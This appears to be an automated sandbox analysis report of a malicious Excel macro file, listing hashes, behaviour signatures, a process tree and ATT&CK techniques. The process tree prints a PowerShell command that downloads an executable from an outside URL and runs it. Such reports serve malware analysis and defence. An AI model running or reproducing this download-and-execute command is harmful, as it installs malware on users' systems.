Analysis

  • max time kernel
    300s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    25-10-2021 03:46

General

  • Target

    eRYlaSz.xlsm

  • Size

    146KB

  • MD5

    a05a533e36ce44fa5d75c09d5c62f9a0

  • SHA1

    9dca548272f928f3cc187fd611405a567612c032

  • SHA256

    b85646a3a0061554fb664cf67b88485fc981c0fe8cda1e592e3730d8f61ca10b

  • SHA512

    a4bf707411dc114f25258c9de9e2e75779245609b8867cf60097138df1e2252e88441eb22564b78ad374677e5ab698b8c2204c916b4bee20ef79e50871eadf50

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 33 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 19 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\eRYlaSz.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:368
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri http://allassurancescompany.fr/wp-admin/ovc/new.exe -OutFile $env:public\eRYlaS.exe;explorer $env:public\eRYlaS.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:524
      • C:\Windows\SysWOW64\explorer.exe
        "C:\Windows\system32\explorer.exe" C:\Users\Public\eRYlaS.exe
        3⤵
          PID:1788
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of SetWindowsHookEx
      PID:1476

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/368-54-0x000000002FDB1000-0x000000002FDB4000-memory.dmp
      Filesize

      12KB

    • memory/368-55-0x0000000070F51000-0x0000000070F53000-memory.dmp
      Filesize

      8KB

    • memory/368-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/368-67-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/524-59-0x0000000002490000-0x00000000030DA000-memory.dmp
      Filesize

      12.3MB

    • memory/524-60-0x0000000002490000-0x00000000030DA000-memory.dmp
      Filesize

      12.3MB

    • memory/524-58-0x0000000074B41000-0x0000000074B43000-memory.dmp
      Filesize

      8KB

    • memory/524-61-0x0000000002490000-0x00000000030DA000-memory.dmp
      Filesize

      12.3MB

    • memory/524-57-0x0000000000000000-mapping.dmp
    • memory/1476-65-0x000007FEFB6B1000-0x000007FEFB6B3000-memory.dmp
      Filesize

      8KB

    • memory/1476-66-0x00000000039B0000-0x00000000039B1000-memory.dmp
      Filesize

      4KB

    • memory/1788-62-0x0000000000000000-mapping.dmp
    • memory/1788-64-0x00000000683A1000-0x00000000683A3000-memory.dmp
      Filesize

      8KB